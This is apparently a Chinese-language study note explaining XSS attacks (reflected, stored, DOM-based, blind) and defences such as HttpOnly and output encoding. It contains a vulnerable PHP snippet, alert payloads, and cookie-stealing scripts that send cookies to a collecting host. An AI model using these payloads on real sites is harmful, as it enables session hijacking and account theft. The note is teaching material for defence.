安全學習筆記-web安全之XSS攻擊

語言: CN / TW / HK

web安全之XSS攻擊

XSS 即跨站腳本攻擊,是 OWASP TOP10 之一。它的全稱為 Cross-site scripting,因為 CSS 這個簡稱已經被佔用表示為前端三劍客之一的CSS,所以簡寫為XSS。

原理

瀏覽器將用户輸入的惡意內容當做腳本去執行,從而導致了惡意功能的執行,這是一種客户端攻擊方式,是網站應用程序的安全漏洞攻擊,是腳本代碼注入的一種。可分為三個類型: 反射型存儲型DOM型

反射型XSS

先來看下面示例

<?php
$input = $_GET["info"];
echo "<div>".$input."</div>"

?>

當用户在前端獲取值通過url傳遞給後端時,上面代碼將顯示用户傳遞參數。如下:

思考:當傳遞參數本身為惡意代碼時將會有怎麼樣的效果?如下:

http://localhost:3000/php_stu/xss_some/xss01.php?info=<script>alert(/xss/)</script>

效果就是會執行js的alert函數:

如果將 info=<script>alert(/xss/)</script> 替換成複雜邏輯代碼可以獲取用户信息做一些操作。例如改成如下代碼:

<script>
            p = window.location.pathname;
            c = document.cookie;
            ifm = document.createElement("iframe");
            document.body.appendChild(ifm);
            ifm.width = 0;ifm.height = 0;
            ifm.src = "http://localhost:3000/php_stu/xss_some/1.php?info=" + p + "&co" + c;
        </script>

根據如上代碼請求後發現我的1.php網站獲取到了用户的網站路徑和用户cookie:

總結:反射型XSS只是簡單地把用户輸入的數據”反射給瀏覽器“。也就是説,黑客往往需要誘導用户點擊一個惡意鏈接(如釣魚郵件等),才能進行攻擊。因此反射型XSS也叫做非持久型XSS。

存儲型XSS

存儲型XSS會把用户輸入的數據存儲在服務器,這種XSS危害性更大。比如在博客網站上,一個人在自己的信息上寫一段腳本。如”自我介紹 <script>window.open("http://wwww.mysite.com?yourcookie=document.cookie")</script> “,而這個博客網站沒有對自我介紹的內容進行正確的編碼,當網站其他用户看到這個信息時,這個用户將會得到所有看他自我介紹的用户的會話cookie。更嚴重的是,如果攻擊者的惡意代碼可以自我擴散,特別是在社交網絡上,就會形成蠕蟲,早期的samy worm就是如此。

下面就是存儲型XSS的一個應用場景:

基於DOM的XSS

基於DOM的XSS和反射型XSS原理基本上一樣,不同的是基於DOM的XSS在服務器端沒有辦法控制,必須在客户端控制,因為不經過服務端,所以可以繞過WAF等的檢測。DOM是前端HTML的概念,最好需先去了解下前端DOM樹的概念。

比如有一網站代碼如下:

<script>
    function test() {
        var inpStr = document.getElementById("usr").value;
        document.getElementById("link").innerHTML = "<a href='"+inpStr+"' >testLink</a>";
    }
</script>

<div id="link"></div>
<input type="text" id="usr" value="" />
<input type="button" id="tmp" value="show" onclick="test()" />

效果如下:

點擊show按鈕之後生產一個超鏈接:

如果我在input輸入框內輸入如下字符串 ' onclick=alert(/xss/) ' 將得到如下效果:

得到的超鏈接標籤內容為 <a href='' onclick=alert(/xss/) ''> testLink</a>

跨站(XSS)盲打

這裏再介紹下XSS盲打,XSS盲打就是儘可能地於一切可能的地方提交XSS語句,比如某些網站用户給站長投信反饋意見,如果管理員看到此xss語句就能獲取到管理員的cookie信息。

XSS防範

  • HttpOnly

    HttpOnly由微軟提出,在IE6中實現,目前主流瀏覽器都支持,意思是瀏覽器將禁止頁面的JavaScript訪問帶有HttpOnly屬性的Cookie。這樣HttpOnly可以有效防止Cookie劫持。

  • 轉義特殊字符

    • '&'
    • '"'
    • '''
    • '<'
    • '>'
  • 安全編碼

    對後端傳輸到前端的輸出進行編碼,防止其被解析成為動態內容。比如php編程裏的htmlentities()和htmlspecialchars()函數,python中django模板裏的escape等。

總的來説堅持輸入和輸出不可信。